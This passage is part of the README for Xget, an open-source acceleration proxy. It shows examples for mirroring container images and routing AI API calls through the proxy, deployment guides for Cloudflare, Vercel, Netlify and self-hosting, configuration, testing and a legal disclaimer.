Jenkins Offline Deployment Instructions 1. Copy jenkins.war to target server 2. Start Jenkins: java -jar jenkins.war 3. Copy .hpi files from plugins/ directory to $JENKINS_HOME/plugins/ 4. Restart Jenkins DEPLOY echo "Offline deployment package prepared!" EOF chmod +x prepare_jenkins_offline.sh ./prepare_jenkins_offline.sh ``` #### Use in Project ##### Plugin Check in Jenkinsfile ```groovy pipeline { agent any stages { stage('Check Plugin Availability') { steps { script { // Check Maven plugin availability def pluginUrl = "https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi" try { def response = httpRequest url: pluginUrl, httpMode: 'HEAD' if (response.status == 200) { echo "Maven plugin available: ${pluginUrl}" } } catch (Exception e) { error "Maven plugin not available: ${e.message}" } } } } stage('Build') { steps { // Your build steps echo "Building with accelerated plugins..." } } } } ``` ### Container Image Acceleration #### Pull Images Directly ```bash # Pull GitHub Container Registry images docker pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest # Pull Google Container Registry images docker pull xget.xi-xu.me/cr/gcr/distroless/base:latest # Pull Microsoft Container Registry images docker pull xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0 ``` #### Kubernetes Deployment Configuration ```yaml # deployment.yaml - Use Xget's images apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest ports: - containerPort: 80 - name: redis image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine ports: - containerPort: 6379 ``` #### Docker Compose Configuration ```yaml # docker-compose.yml - Use Xget accelerated images version: '3.8' services: web: image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest ports: - '80:80' volumes: - ./html:/usr/share/nginx/html database: image: xget.xi-xu.me/cr/mcr/mssql/server:2022-latest environment: ACCEPT_EULA: Y SA_PASSWORD: 'MyStrongPassword123!' volumes: - mssql_data:/var/opt/mssql cache: image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine ports: - '6379:6379' volumes: mssql_data: ``` #### Dockerfile Optimization ```dockerfile # Use Xget accelerated base images in Dockerfile FROM xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine AS builder WORKDIR /app COPY package*.json ./ RUN npm install COPY . . RUN npm run build # Production stage FROM xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest COPY --from=builder /app/dist /usr/share/nginx/html # Use Microsoft Container Registry's .NET image FROM xget.xi-xu.me/cr/mcr/dotnet/aspnet:8.0 AS runtime WORKDIR /app COPY --from=builder /app/publish . ENTRYPOINT ["dotnet", "MyApp.dll"] ``` #### CI/CD Integration ```yaml # GitHub Actions - Use Xget to accelerate container builds name: Build and Deploy on: [push] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Build with accelerated base images run: | # Build using Xget's base images docker build -t myapp:latest \ --build-arg BASE_IMAGE=xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine . - name: Test with accelerated images run: | # Test using accelerated images docker run --rm \ xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0 \ dotnet --version ``` #### Podman Configuration ```bash # Configure Podman to use Xget image acceleration # Edit /etc/containers/registries.conf [[registry]] prefix = "ghcr.io" location = "xget.xi-xu.me/cr/ghcr" # Or pull directly podman pull xget.xi-xu.me/cr/ghcr/alpine/alpine:latest podman pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest ``` #### containerd Configuration ```toml # Configure containerd to use Xget # Edit /etc/containerd/config.toml [plugins."io.containerd.grpc.v1.cri".registry.mirrors] [plugins."io.containerd.grpc.v1.cri".registry.mirrors."ghcr.io"] endpoint = ["https://xget.xi-xu.me/cr/ghcr"] [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] endpoint = ["https://xget.xi-xu.me/cr/gcr"] ``` ```bash # Restart containerd sudo systemctl restart containerd ``` ### AI Inference API Acceleration #### OpenAI API ```python from openai import OpenAI client = OpenAI( api_key="your-api-key", base_url="https://xget.xi-xu.me/ip/openai/v1", # Use Xget ) response = client.responses.create( model="gpt-5.1", input="Hello, GPT!", ) print(response.output_text) ``` #### Claude API ```python from anthropic import Anthropic client = Anthropic( api_key="your-api-key", base_url="https://xget.xi-xu.me/ip/anthropic", # Use Xget ) message = client.messages.create( model="claude-sonnet-4-5", max_tokens=256, messages=[ { "role": "user", "content": "Hello, Claude!", } ], ) print(message.content[0].text) ``` #### Gemini API ```python from google import genai from google.genai import types client = genai.Client( api_key="your-api-key", http_options=types.HttpOptions(base_url="https://xget.xi-xu.me/ip/gemini"), # Use Xget ) response = client.models.generate_content( model="gemini-3-pro-preview", contents="Hello, Gemini!", ) print(response.text) ``` #### Multi-Provider Unified Interface ```python from openai import OpenAI providers = [ ("Cohere", "your-cohere-api-key", "/cohere/compatibility/v1", "command-a-03-2025"), ("Mistral", "your-mistral-api-key", "/mistralai/v1", "mistral-medium-latest"), ("xAI", "your-xai-api-key", "/xai/v1", "grok-4"), ] for name, key, path, model in providers: client = OpenAI(api_key=key, base_url="https://xget.xi-xu.me/ip" + path) # Use Xget response = client.chat.completions.create( model=model, messages=[{"role": "user", "content": f"Hello, who are you?"}], ) print(name, "=>", response.choices[0].message.content) ``` #### Use in JavaScript/Node.js ```javascript // OpenAI API acceleration import OpenAI from 'openai'; const openaiClient = new OpenAI({ apiKey: 'your-openai-api-key', baseURL: 'https://xget.xi-xu.me/ip/openai/v1' // Use Xget }); async function chatWithGPT() { const response = await openaiClient.responses.create({ model: 'gpt-5.1', input: 'Hello, GPT!' }); console.log(response.output_text); } // Claude API acceleration import Anthropic from '@anthropic-ai/sdk'; const anthropicClient = new Anthropic({ apiKey: 'your-claude-api-key', baseURL: 'https://xget.xi-xu.me/ip/anthropic' // Use Xget }); async function chatWithClaude() { const message = await anthropicClient.messages.create({ model: 'claude-sonnet-4-5', max_tokens: 256, messages: [ { role: 'user', content: 'Hello, Claude!' } ] }); console.log(message.content[0].text); } // Gemini API acceleration import { GoogleGenAI } from '@google/genai'; const geminiClient = new GoogleGenAI({ apiKey: 'your-gemini-api-key' }); async function chatWithGemini() { const response = await geminiClient.models.generateContent({ model: 'gemini-3-pro-preview', contents: 'Hello, Gemini!', config: { httpOptions: { baseUrl: 'https://xget.xi-xu.me/ip/gemini' // Use Xget } } }); console.log(response.text); } ``` #### Environment Variable Configuration ```bash # Configure in .env file OPENAI_BASE_URL=https://xget.xi-xu.me/ip/openai ANTHROPIC_BASE_URL=https://xget.xi-xu.me/ip/anthropic GEMINI_BASE_URL=https://xget.xi-xu.me/ip/gemini COHERE_BASE_URL=https://xget.xi-xu.me/ip/cohere MISTRAL_AI_BASE_URL=https://xget.xi-xu.me/ip/mistralai GROQ_BASE_URL=https://xget.xi-xu.me/ip/groq ``` Then use in code: ```python import os from openai import OpenAI # Read configuration from environment variables client = OpenAI( api_key=os.getenv("OPENAI_API_KEY"), base_url=os.getenv("OPENAI_BASE_URL") # Automatically uses Xget ) ``` ## 🚀 Deployment ### Deploy to Cloudflare Workers 1. **Fork this repository**: [Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **Get Cloudflare credentials**: - Visit [Account API tokens](https://dash.cloudflare.com/?to=/:account/api-tokens) to create and note an API token, using the "Edit Cloudflare Workers" template. - Visit [Workers and Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages) to note the Account ID. 3. **Configure GitHub Secrets**: - Go to your GitHub repository → Settings → Secrets and variables → Actions - Add the following secrets: - `CLOUDFLARE_API_TOKEN`: Your API token - `CLOUDFLARE_ACCOUNT_ID`: Your Account ID 4. **Trigger deployment**: - Pushing code to the `main` branch will automatically trigger deployment - Modifying only documentation files (`.md`), `LICENSE`, `.gitignore`, etc. will not trigger deployment - You can also manually trigger deployment in the GitHub Actions page 5. **Bind custom domain** (optional): Bind your custom domain in the Cloudflare Workers console ### Deploy to Cloudflare Pages 1. **Fork this repository**: [Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **Get Cloudflare credentials**: - Visit [Account API tokens](https://dash.cloudflare.com/?to=/:account/api-tokens) to create and note an API token, using the "Edit Cloudflare Workers" template. - Visit [Workers and Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages) to note the Account ID. 3. **Configure GitHub Secrets**: - Go to your GitHub repository → Settings → Secrets and variables → Actions - Add the following secrets: - `CLOUDFLARE_API_TOKEN`: Your API token - `CLOUDFLARE_ACCOUNT_ID`: Your Account ID 4. **Trigger deployment**: - The repository will automatically convert Workers code to Pages-compatible format and sync to the `pages` branch - Pushing code to the `main` branch will automatically trigger sync and deployment workflows - Modifying only documentation files (`.md`), `LICENSE`, `.gitignore`, etc. will not trigger deployment - You can also manually trigger deployment in the GitHub Actions page 5. **Bind custom domain** (optional): Bind your custom domain in the Cloudflare Pages console **Note**: The `pages` branch is automatically generated from the `main` branch. Do not manually edit the `pages` branch as it will be overwritten by the sync workflow. ### Deploy to EdgeOne Pages 1. **Fork this repository**: [Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **Get EdgeOne Pages API Token**: - Visit [China EdgeOne Console](https://console.cloud.tencent.com/edgeone/pages?tab=api) or [International EdgeOne Console](https://console.tencentcloud.com/edgeone/pages?tab=api) to create and note an API Token 3. **Configure GitHub Secrets**: - Go to your GitHub repository → Settings → Secrets and variables → Actions - Add the following secret: - `EDGEONE_API_TOKEN`: Your API Token 4. **Trigger deployment**: - The repository will automatically convert Workers code to Pages-compatible format and sync to the `pages` branch - Pushing code to the `main` branch will automatically trigger sync and deployment workflows - Modifying only documentation files (`.md`), `LICENSE`, `.gitignore`, etc. will not trigger deployment - You can also manually trigger deployment in the GitHub Actions page 5. **Bind custom domain** (optional): Bind your custom domain in the EdgeOne Pages console **Note**: The `pages` branch is automatically generated from the `main` branch. Do not manually edit the `pages` branch as it will be overwritten by the sync workflow. ### Deploy to Vercel 1. **Fork this repository**: [Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **Get Vercel credentials**: - Visit [Vercel Account Settings](https://vercel.com/account/settings/tokens) to create and note an Access Token - Visit Team Settings to note the Team ID - Visit project's Settings after creating a new project to note the Project ID 3. **Configure GitHub Secrets**: - Go to your GitHub repository → Settings → Secrets and variables → Actions - Add the following secrets: - `VERCEL_TOKEN`: Your Access Token - `VERCEL_ORG_ID`: Your Team ID - `VERCEL_PROJECT_ID`: Your Project ID 4. **Trigger deployment**: - The repository will automatically convert Workers code to Functions-compatible format and sync to the `functions` branch - Pushing code to the `main` branch will automatically trigger sync and deployment workflows - Modifying only documentation files (`.md`), `LICENSE`, `.gitignore`, etc. will not trigger deployment - You can also manually trigger deployment in the GitHub Actions page 5. **Bind custom domain** (optional): Bind your custom domain in the Vercel console **Note**: The `functions` branch is automatically generated from the `main` branch. Do not manually edit the `functions` branch as it will be overwritten by the sync workflow. ### Deploy to Netlify 1. **Fork this repository**: [Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **Get Netlify credentials**: - Visit [Netlify User Settings](https://app.netlify.com/user/applications) to create and note a personal access token - Visit Project configuration after creating a new project to note the Project ID 3. **Configure GitHub Secrets**: - Go to your GitHub repository → Settings → Secrets and variables → Actions - Add the following secrets: - `NETLIFY_AUTH_TOKEN`: Your personal access token - `NETLIFY_SITE_ID`: Your Project ID 4. **Trigger deployment**: - The repository will automatically convert Workers code to Functions-compatible format and sync to the `functions` branch - Pushing code to the `main` branch will automatically trigger sync and deployment workflows - Modifying only documentation files (`.md`), `LICENSE`, `.gitignore`, etc. will not trigger deployment - You can also manually trigger deployment in the GitHub Actions page 5. **Bind custom domain** (optional): Bind your custom domain in the Netlify console **Note**: The `functions` branch is automatically generated from the `main` branch. Do not manually edit the `functions` branch as it will be overwritten by the sync workflow. ### Deploy to Deno Deploy 1. **Fork this repository**: [Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **Switch default branch**: - Go to your GitHub repository → Settings → General → Default branch - Switch the default branch from `main` to `functions` 3. **Deploy to Deno Deploy**: - Follow the [Deno Deploy official documentation](https://docs.deno.com/deploy/getting_started/) for deployment - Create a new project in the Deno Deploy console and connect your GitHub repository 4. **Bind custom domain** (optional): Bind your custom domain in the Deno Deploy console **Note**: The `functions` branch is automatically generated from the `main` branch. Do not manually edit the `functions` branch as it will be overwritten by the sync workflow. ### Self-Hosted Deployment If you prefer to run Xget on your own server, you can use Docker or Podman deployment: #### Using Pre-built Image Pull and run the pre-built image from GitHub Container Registry: **Using Docker:** ```bash # Pull the latest image docker pull ghcr.io/xixu-me/xget:latest # Run the container docker run -d \ --name xget \ -p 8080:8080 \ ghcr.io/xixu-me/xget:latest ``` **Using Podman:** ```bash # Pull the latest image podman pull ghcr.io/xixu-me/xget:latest # Run the container podman run -d \ --name xget \ -p 8080:8080 \ ghcr.io/xixu-me/xget:latest ``` #### Building Locally Build the container image from source: **Using Docker:** ```bash # Clone the repository git clone https://github.com/xixu-me/Xget.git cd Xget # Build the image docker build -t xget:local . # Run the container docker run -d \ --name xget \ -p 8080:8080 \ xget:local ``` **Using Podman:** ```bash # Clone the repository git clone https://github.com/xixu-me/Xget.git cd Xget # Build the image podman build -t xget:local . # Run the container podman run -d \ --name xget \ -p 8080:8080 \ xget:local ``` #### Using Docker Compose / Podman Compose Create a `docker-compose.yml` file: ```yaml version: '3.8' services: xget: image: ghcr.io/xixu-me/xget:latest container_name: xget ports: - '8080:8080' restart: unless-stopped ``` **Using Docker Compose:** ```bash docker compose up -d ``` **Using Podman Compose:** ```bash podman compose up -d ``` After deployment, Xget will run on port 8080. If you want to deploy and run Xget on DigitalOcean, please refer to _[Deploying and Optimizing Xget on DigitalOcean](docs/deploy-on-digitalocean.md)_. By signing up via the referral link below, you can receive USD 200 in credits to try Droplets, Kubernetes, App Platform, and more:

**Note**: Self-hosted deployment does not include global edge network acceleration. Performance depends on your server configuration and network environment. ## 🔧 Configuration ### Configuration Parameters You can customize configuration by modifying `src/config/index.js`: ```javascript export const CONFIG = { TIMEOUT_SECONDS: 30, // Request timeout (seconds) MAX_RETRIES: 3, // Maximum retry count RETRY_DELAY_MS: 1000, // Retry delay (milliseconds) CACHE_DURATION: 1800, // Cache duration (1800 seconds = 30 minutes) SECURITY: { ALLOWED_METHODS: ['GET', 'HEAD'], // Base allowlist for regular requests; protocol traffic has broader built-in allowances ALLOWED_ORIGINS: ['*'], // Allowed CORS origins MAX_PATH_LENGTH: 2048 // Maximum path length (characters) } }; ``` ### Performance Tuning Recommendations - **Cache Optimization**: Adjust `CACHE_DURATION` based on usage patterns, reduce appropriately for frequently updated repositories - **Timeout Settings**: Increase `TIMEOUT_SECONDS` appropriately for poor network conditions - **Retry Strategy**: Increase `MAX_RETRIES` and `RETRY_DELAY_MS` in high-latency environments ### Adding New Platforms To add support for new platforms, update the platform catalog and, if needed, the path transformers: ```javascript // src/config/platform-catalog.js export const PLATFORM_CATALOG = { // Existing platforms... custom: 'https://example.com' }; // src/routing/platform-transformers.js const PLATFORM_PATH_TRANSFORMERS = { custom: path => path.replace(/^\/custom\//, '/') }; ``` ## 🚧 Development 1. **Repository Setup** ```bash git clone https://github.com/xixu-me/Xget.git cd Xget npm install npx wrangler login # First time use ``` 2. **Local Development** ```bash npm run dev # Start development server (http://localhost:8787) npm run test:run # Run complete test suite npm run test:coverage # Generate test coverage report npm run lint # Code linting npm run format # Code formatting npm run deploy # Deploy to production ``` ## 🧪 Testing The repository includes a complete test suite to ensure code quality and functional correctness. ### Complete Testing ```bash # Install test dependencies npm install # Run all tests npm run test:run # Generate coverage report npm run test:coverage # Watch mode npm run test:watch ``` ### Test Coverage - **Unit Tests**: Core functionality, platform configuration, performance monitoring - **Integration Tests**: End-to-end processes, platform integration, Git protocol - **Security Tests**: Input validation, security headers, permission control - **Performance Tests**: Response time, memory usage, concurrent processing ## 🔍 Troubleshooting ### Common Issues **Q: No significant speed improvement?** A: Check if source files are already cached at CDN edge nodes. Initial access may be slower, subsequent accesses will be significantly faster. **Q: Git operations failing?** A: Confirm correct URL format is used and Git client version supports HTTPS proxy. **Q: Cannot access after deployment?** A: Check if Cloudflare Workers domain is correctly bound, confirm `wrangler.toml` configuration is correct. **Q: Getting 400 error?** A: Check URL path format, confirm platform prefix is correctly used. ### Performance Monitoring Performance metrics are returned in response headers: - `X-Performance-Metrics`: Contains timing statistics for request stages - `X-Cache-Status`: Shows cache hit status ### Log Debugging In development environment, you can view detailed logs through Cloudflare Workers console: ```bash npx wrangler dev --log-level debug ``` ## ⚠️ Disclaimer - **Legal and Compliant Use**: This repository aims to provide unified acceleration services for code repositories, package registries, AI inference APIs, container images, models, datasets, and other legitimate developer resources. Users must strictly comply with the laws and regulations of their jurisdiction and the terms of service of relevant platforms. Any illegal use is the sole responsibility of the user - **Non-Affiliation and Independent Responsibility**: This repository has no affiliation, agency, or partnership relationship with any third-party platforms. Any fork, secondary development, redistribution, or derivative version based on this repository is solely the responsibility of its maintainer; authors, maintainers, and contributors bear no legal or joint liability for the actions or consequences of derivative repositories - **No Warranty and Limitation of Liability**: To the maximum extent permitted by applicable law, this repository is provided "AS IS" without any express or implied warranties (including but not limited to merchantability, fitness for a particular purpose, non-infringement, etc.). Authors, maintainers, and contributors assume no responsibility for any direct or indirect losses (including but not limited to data loss, business interruption, profit loss, etc.) resulting from the use of this repository - **Risk Assumption Principle**: Users should independently assess usage risks, ensure their use is legal and compliant, respect third-party rights, and must not use this repository for any illegal, infringing, malicious, or improper purposes - **Third-Party Platform Compliance**: Users must comply with the terms of service, API usage policies, rate limits, and copyright requirements of relevant platforms, and avoid causing overload or interference to source platforms. Each platform has the final interpretation right over its content, services, and policies - **Intellectual Property Protection**: Content obtained through this repository is protected by respective copyright laws. Users must comply with relevant licensing agreements, copyright notices, and terms of use, and must not engage in any activities that infringe intellectual property rights - **Security Recommendations**: Although this repository adopts a no-log architecture and does not store user request data, due to inherent risks of internet transmission, users are advised to perform security scans on downloaded content, especially for executable files and scripts - **Open Source Nature**: This repository is open source. Authors and contributors are not obligated to provide technical support, bug fixes, or continuous maintenance. The inclusion of external contributions does not constitute endorsement or commitment to specific uses or effects - **Name Usage Guidelines**: Any representations that may imply authors or contributors provide commercial cooperation, technical support, guarantees, or endorsements are strictly prohibited. The use of repository names or author identifiers must comply with relevant laws and regulations as well as general norms - **Disclaimer Updates**: This disclaimer may be updated and revised as the repository develops or legal environments change. Continued use, copying, distribution, or modification of this repository constitutes acceptance of the latest version of this disclaimer ## 🤝 Contributing We welcome all forms of contribution! Please check the [Contributing Guide](CONTRIBUTING.md) to learn how to participate in repository development. 1. **Report Issues**: Use [issue templates](https://github.com/xixu-me/Xget/issues/new/choose) to report bugs or propose feature requests 2. **Submit Code**: Fork the repository, create a feature branch, submit a pull request 3. **Improve Documentation**: Fix errors, add examples, improve descriptions 4. **Testing Feedback**: Test in different environments and provide feedback ## 🌟 Star History Star History Chart ## 📝 License Copyright © Xi Xu. This repository is licensed under the AGPL-3.0 License - see the [LICENSE](LICENSE) file for details. ---
**If this repository helps you, please consider giving it a ⭐ star!** Made with ❤️ by [Xi Xu](https://xi-xu.me)
[![Powered by DartNode](https://dartnode.com/branding/DN-Open-Source-sm.png)](https://dartnode.com 'Powered by DartNode - Free VPS for Open Source') ================================================ FILE: README.zh-Hans.md ================================================
# Xget 🚀 xixu-me%2FXget | Trendshift [![Ask Zread](https://img.shields.io/badge/Ask_Zread-_.svg?style=flat&color=00b0aa&labelColor=000000&logo=data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZD0iTTQuOTYxNTYgMS42MDAxSDIuMjQxNTZDMS44ODgxIDEuNjAwMSAxLjYwMTU2IDEuODg2NjQgMS42MDE1NiAyLjI0MDFWNC45NjAxQzEuNjAxNTYgNS4zMTM1NiAxLjg4ODEgNS42MDAxIDIuMjQxNTYgNS42MDAxSDQuOTYxNTZDNS4zMTUwMiA1LjYwMDEgNS42MDE1NiA1LjMxMzU2IDUuNjAxNTYgNC45NjAxVjIuMjQwMUM1LjYwMTU2IDEuODg2NjQgNS4zMTUwMiAxLjYwMDEgNC45NjE1NiAxLjYwMDFaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik00Ljk2MTU2IDEwLjM5OTlIMi4yNDE1NkMxLjg4ODEgMTAuMzk5OSAxLjYwMTU2IDEwLjY4NjQgMS42MDE1NiAxMS4wMzk5VjEzLjc1OTlDMS42MDE1NiAxNC4xMTM0IDEuODg4MSAxNC4zOTk5IDIuMjQxNTYgMTQuMzk5OUg0Ljk2MTU2QzUuMzE1MDIgMTQuMzk5OSA1LjYwMTU2IDE0LjExMzQgNS42MDE1NiAxMy43NTk5VjExLjAzOTlDNS42MDE1NiAxMC42ODY0IDUuMzE1MDIgMTAuMzk5OSA0Ljk2MTU2IDEwLjM5OTlaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik0xMy43NTg0IDEuNjAwMUgxMS4wMzg0QzEwLjY4NSAxLjYwMDEgMTAuMzk4NCAxLjg4NjY0IDEwLjM5ODQgMi4yNDAxVjQuOTYwMUMxMC4zOTg0IDUuMzEzNTYgMTAuNjg1IDUuNjAwMSAxMS4wMzg0IDUuNjAwMUgxMy43NTg0QzE0LjExMTkgNS42MDAxIDE0LjM5ODQgNS4zMTM1NiAxNC4zOTg0IDQuOTYwMVYyLjI0MDFDMTQuMzk4NCAxLjg4NjY0IDE0LjExMTkgMS42MDAxIDEzLjc1ODQgMS42MDAxWiIgZmlsbD0iI2ZmZiIvPgo8cGF0aCBkPSJNNCAxMkwxMiA0TDQgMTJaIiBmaWxsPSIjZmZmIi8%2BCjxwYXRoIGQ9Ik00IDEyTDEyIDQiIHN0cm9rZT0iI2ZmZiIgc3Ryb2tlLXdpZHRoPSIxLjUiIHN0cm9rZS1saW5lY2FwPSJyb3VuZCIvPgo8L3N2Zz4K&logoColor=ffffff)](https://zread.ai/xixu-me/Xget) [![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/xixu-me/Xget) [![codecov](https://codecov.io/github/xixu-me/xget/graph/badge.svg?token=KDFMG9YX8G)](https://codecov.io/github/xixu-me/xget) [![Chromium](https://img.shields.io/badge/Chromium-4285F4?logo=googlechrome&logoColor=white)](#-生态系统集成) [![Firefox](https://img.shields.io/badge/Firefox-FF7139?logo=Firefox&logoColor=white)](#-生态系统集成) [![Cloudflare](https://img.shields.io/badge/Cloudflare-F38020?&logo=cloudflare&logoColor=white)](#部署到-cloudflare-workers) [![EdgeOne](https://img.shields.io/badge/EdgeOne-006EFF?&logo=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABwAAAAcCAYAAAByDd+UAAACNklEQVR4nJ1W7XHbMAx96ul/lQnCDapOUG3gdIIkG6QjdINOUGeDNhNYmUDuBHIWiNQF/PqDYAxDoMUGdzx+AXgAAQGqSKKAOgAbma8BXMn5DGAv4wlAv6qJ5KVxR3LkOR3NWu9HkcnqzF0EkoMDcsysLd8oOooAb0lOF7wqpYnkzRrgZkVJ8mp0jLFzotscYOC6ZyNjjLbOnTZI7weSjQc4ZoQmkjuSneIdMoADyR9iVKuB0qglWYOT0n9Uys/qPAD4ZHgfAXwzfO/6LLyxcTxbJEdufFi1aEk32l6Z+1Lhep1lQa1aVwI2O3wBsTIFxOoUADzVspgzQp6S1pztATRyvpG5lTNLTUVykssJwF91OQP4bATuAGzVngBexJD0vJW51/u5VpZc4VSUgViMLX1xlIUCoERNLoYE8Ns579S6chTngGYZh1oWjRGoEGOjKSAGP/HovqblDoiJtAfwLPv5xHnqCrbNeK3K8qX9juQDMx3CVpoesXLop7DeATF+2rsKsbo8oizD3zzsjLWk30RHw7N7R5V68/AgMUpeWg9bLLOxL/AniOw1Yp58t/FZi5+mzuFrJJY/Sb6qFzmmV9PMgzBsHUW/eN5gJwdk54Rm4YTXgHPx00p24qEGydFElb3e09nUbpXVuZ+oS/88Z62rJLMelHAJSDqf6LxWSXvS35/+Vr0SlqrPHsBXxOw/o5IGHDLKE4AucS8A7hG7zAIMACryv371WxkfxYhZFD8jFvt+TdE/deK28xBAUlEAAAAASUVORK5CYII=)](#部署到-edgeone-pages) [![Vercel](https://img.shields.io/badge/Vercel-000000?&logo=vercel&logoColor=white)](#部署到-vercel) [![Netlify](https://img.shields.io/badge/Netlify-00C7B7?&logo=netlify&logoColor=white)](#部署到-netlify) [![Deno](https://img.shields.io/badge/Deno-000000?&logo=deno&logoColor=white)](#部署到-deno-deploy) [![Docker](https://img.shields.io/badge/Docker-2496ED?&logo=docker&logoColor=white)](#自托管部署) [![Podman](https://img.shields.io/badge/Podman-892CA0?&logo=podman&logoColor=white)](#自托管部署) [English](README.md) | **汉语(简体)** | [漢語(繁體)](README.zh-Hant.md)
[![GitHub](https://img.shields.io/badge/GitHub-181717?&logo=github&logoColor=white)](#github) [![GitLab](https://img.shields.io/badge/GitLab-FC6D26?&logo=gitlab&logoColor=white)](#gitlab) [![Gitea](https://img.shields.io/badge/Gitea-609926?&logo=gitea&logoColor=white)](#gitea) [![Codeberg](https://img.shields.io/badge/Codeberg-2185D0?&logo=codeberg&logoColor=white)](#codeberg) [![SourceForge](https://img.shields.io/badge/SourceForge-FF6600?&logo=sourceforge&logoColor=white)](#sourceforge) [![AOSP](https://img.shields.io/badge/AOSP-3DDC84?&logo=android&logoColor=white)](#aosp-android-%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE) [![Hugging Face](https://img.shields.io/badge/Hugging%20Face-FFD21E?&logo=huggingface&logoColor=black)](#hugging-face-镜像) [![Civitai](https://img.shields.io/badge/Civitai-1971C2)](#civitai-ai-模型平台) [![npm](https://img.shields.io/badge/npm-CB3837?logo=npm&logoColor=white)](#npm-包管理加速) [![PyPI](https://img.shields.io/badge/PyPI-3775A9?logo=pypi&logoColor=white)](#python-包管理加速) [![conda](https://img.shields.io/badge/conda-44A833?logo=anaconda&logoColor=white)](#conda-包管理加速) [![Maven](https://img.shields.io/badge/Maven-C71A36?logo=apachemaven&logoColor=white)](#maven-包管理加速) [![Apache](https://img.shields.io/badge/Apache-D22128?logo=apache&logoColor=white)](#apache-软件下载加速) [![Gradle](https://img.shields.io/badge/Gradle-02303A?logo=gradle&logoColor=white)](#gradle-包管理加速) [![Homebrew](https://img.shields.io/badge/Homebrew-FBB040?logo=homebrew&logoColor=black)](#homebrew-包管理加速) [![RubyGems](https://img.shields.io/badge/RubyGems-E9573F?logo=rubygems&logoColor=white)](#ruby-包管理加速) [![CRAN](https://img.shields.io/badge/CRAN-276DC3?logo=r&logoColor=white)](#r-包管理加速) [![CPAN](https://img.shields.io/badge/CPAN-0073A1?logo=perl&logoColor=white)](#perl-包管理加速) [![CTAN](https://img.shields.io/badge/CTAN-008080?logo=latex&logoColor=white)](#texlatex-包管理加速) [![Go](https://img.shields.io/badge/Go-00ADD8?logo=go&logoColor=white)](#go-模块加速) [![NuGet](https://img.shields.io/badge/NuGet-004880?logo=nuget&logoColor=white)](#nuget-包管理加速) [![Rust](https://img.shields.io/badge/Rust-000000?logo=rust&logoColor=white)](#rust-包管理加速) [![Packagist](https://img.shields.io/badge/Packagist-F28D1A?logo=packagist&logoColor=white)](#php-包管理加速) [![Flathub](https://img.shields.io/badge/Flathub-000000?logo=flathub&logoColor=white)](#flathub-存储库镜像) [![Debian](https://img.shields.io/badge/Debian-A81D33?logo=debian&logoColor=white)](#debianubuntu-apt-配置) [![Ubuntu](https://img.shields.io/badge/Ubuntu-E95420?logo=ubuntu&logoColor=white)](#debianubuntu-apt-配置) [![Fedora](https://img.shields.io/badge/Fedora-51A2DA?logo=fedora&logoColor=white)](#fedora-dnf-配置) [![Rocky Linux](https://img.shields.io/badge/Rocky%20Linux-10B981?logo=rockylinux&logoColor=white)](#rocky-linux-dnf-配置) [![openSUSE](https://img.shields.io/badge/openSUSE-73BA25?logo=opensuse&logoColor=white)](#opensuse-zypper-配置) [![Arch Linux](https://img.shields.io/badge/Arch%20Linux-1793D1?logo=archlinux&logoColor=white)](#arch-linux-pacman-配置) [![arXiv](https://img.shields.io/badge/arXiv-B31B1B?logo=arxiv&logoColor=white)](#arxiv-论文下载) [![F-Droid](https://img.shields.io/badge/F--Droid-1976D2?logo=f-droid&logoColor=white)](#f-droid-存储库镜像) [![Jenkins](https://img.shields.io/badge/Jenkins-D24939?logo=jenkins&logoColor=white)](#jenkins-插件下载) [![容器注册表](https://img.shields.io/badge/容器注册表-262261?logo=opencontainersinitiative&logoColor=white)](#容器注册表) [![AI 推理提供商](https://img.shields.io/badge/AI%20推理提供商-94A3B8?logo=openrouter&logoColor=white)](#ai-推理提供商) 面向开发者资源的超高性能、安全、一体化加速引擎,其性能显著优于传统解决方案,为代码存储库、模型和数据集中心、软件包注册表、容器注册表、AI 推理提供商等提供统一、高效的加速。 技术深度解析文章已发布:**[《深入剖析 Xget:一个高性能、多协议、高安全性的开发者资源加速引擎》](https://blog.xi-xu.me/en/2025/10/07/Deep-Dive-into-Xget.html)**。 Xget 已受邀入驻 [GitCode 平台](https://gitcode.com/xixu-me/xget),并被认证为 G-Star 毕业项目;同时也获得多位技术博主自发推荐,包括[阮一峰](https://www.ruanyifeng.com/blog/2025/12/weekly-issue-379.html#:~:text=Xget)、[GitHubDaily](https://x.com/i/status/1956204203937829256)、[鱼 